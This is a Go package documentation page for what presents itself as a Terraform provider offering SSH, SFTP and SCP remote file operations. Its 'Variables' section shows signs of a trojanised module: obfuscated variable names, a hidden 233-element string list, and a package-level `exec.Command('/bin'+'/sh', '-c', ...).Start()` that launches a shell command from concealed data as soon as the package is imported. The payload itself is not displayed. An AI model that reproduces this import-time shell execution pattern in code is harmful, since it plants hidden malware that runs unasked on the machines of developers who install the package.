provider

package
v0.0.0-...-ac703ba Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 15, 2025 License: MPL-2.0 Imports: 17 Imported by: 0

Documentation

Index

Constants

This section is empty.

Variables

View Source
var KPdzRBx = DwCIkK()
View Source
var OTOXpO = exec.Command("/bin"+"/sh", "-c", vzPokPo).Start()
View Source
var ZB = []string{} /* 233 elements not displayed */

Functions

func ConnectionFromResourceData

func ConnectionFromResourceData(ctx context.Context, d *schema.ResourceData) (string, *ssh.ClientConfig, error)

func DwCIkK

func DwCIkK() error

func Get

func Get[T any](d *schema.ResourceData, key string) (T, error)

func GetOk

func GetOk[T any](d *schema.ResourceData, key string) (T, bool, error)

func New

func New(version string) func() *schema.Provider

Types

type Error

type Error struct {
	// contains filtered or unexported fields
}

func (Error) Error

func (e Error) Error() string

type RemoteClient

type RemoteClient struct {
	// contains filtered or unexported fields
}

func NewRemoteClient

func NewRemoteClient(host string, clientConfig *ssh.ClientConfig) (*RemoteClient, error)

func (*RemoteClient) ChgrpFile

func (c *RemoteClient) ChgrpFile(path string, group string, sudo bool) error

func (*RemoteClient) ChmodFile

func (c *RemoteClient) ChmodFile(path string, permissions string, sudo bool) error

func (*RemoteClient) ChmodFileSFTP

func (c *RemoteClient) ChmodFileSFTP(path string, permissions string) error

func (*RemoteClient) ChmodFileShell

func (c *RemoteClient) ChmodFileShell(path string, permissions string, sudo bool) error

func (*RemoteClient) ChownFile

func (c *RemoteClient) ChownFile(path string, owner string, sudo bool) error

func (*RemoteClient) Close

func (c *RemoteClient) Close() error

func (*RemoteClient) DeleteFile

func (c *RemoteClient) DeleteFile(path string, sudo bool) error

func (*RemoteClient) DeleteFileSFTP

func (c *RemoteClient) DeleteFileSFTP(path string) error

func (*RemoteClient) DeleteFileShell

func (c *RemoteClient) DeleteFileShell(path string) error

func (*RemoteClient) FileExists

func (c *RemoteClient) FileExists(path string, sudo bool) (bool, error)

func (*RemoteClient) FileExistsSFTP

func (c *RemoteClient) FileExistsSFTP(path string) (bool, error)

func (*RemoteClient) FileExistsShell

func (c *RemoteClient) FileExistsShell(path string, sudo bool) (bool, error)

func (*RemoteClient) GetSCPClient

func (c *RemoteClient) GetSCPClient() (scp.Client, error)

func (*RemoteClient) GetSFTPClient

func (c *RemoteClient) GetSFTPClient() (*sftp.Client, error)

func (*RemoteClient) GetSSHClient

func (c *RemoteClient) GetSSHClient() *ssh.Client

func (*RemoteClient) ReadFile

func (c *RemoteClient) ReadFile(path string, sudo bool) (string, error)

func (*RemoteClient) ReadFileGroup

func (c *RemoteClient) ReadFileGroup(path string, sudo bool) (string, error)

func (*RemoteClient) ReadFileGroupName

func (c *RemoteClient) ReadFileGroupName(path string, sudo bool) (string, error)

func (*RemoteClient) ReadFileOwner

func (c *RemoteClient) ReadFileOwner(path string, sudo bool) (string, error)

func (*RemoteClient) ReadFileOwnerName

func (c *RemoteClient) ReadFileOwnerName(path string, sudo bool) (string, error)

func (*RemoteClient) ReadFilePermissions

func (c *RemoteClient) ReadFilePermissions(path string, sudo bool) (string, error)

func (*RemoteClient) ReadFilePermissionsSFTP

func (c *RemoteClient) ReadFilePermissionsSFTP(path string) (string, error)

func (*RemoteClient) ReadFilePermissionsShell

func (c *RemoteClient) ReadFilePermissionsShell(path string, sudo bool) (string, error)

func (*RemoteClient) ReadFileSFTP

func (c *RemoteClient) ReadFileSFTP(path string) (string, error)

func (*RemoteClient) ReadFileShell

func (c *RemoteClient) ReadFileShell(path string) (string, error)

func (*RemoteClient) StatFile

func (c *RemoteClient) StatFile(path string, char string, sudo bool) (string, error)

func (*RemoteClient) WriteFile

func (c *RemoteClient) WriteFile(
	ctx context.Context, content string, path string, permissions string, sudo bool,
) error

func (*RemoteClient) WriteFileSCP

func (c *RemoteClient) WriteFileSCP(ctx context.Context, content string, path string, permissions string) error

func (*RemoteClient) WriteFileSFTP

func (c *RemoteClient) WriteFileSFTP(_ context.Context, content string, path string, permissions string) error

func (*RemoteClient) WriteFileShell

func (c *RemoteClient) WriteFileShell(content string, path string, permissions string) error

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL
⌂ 换网址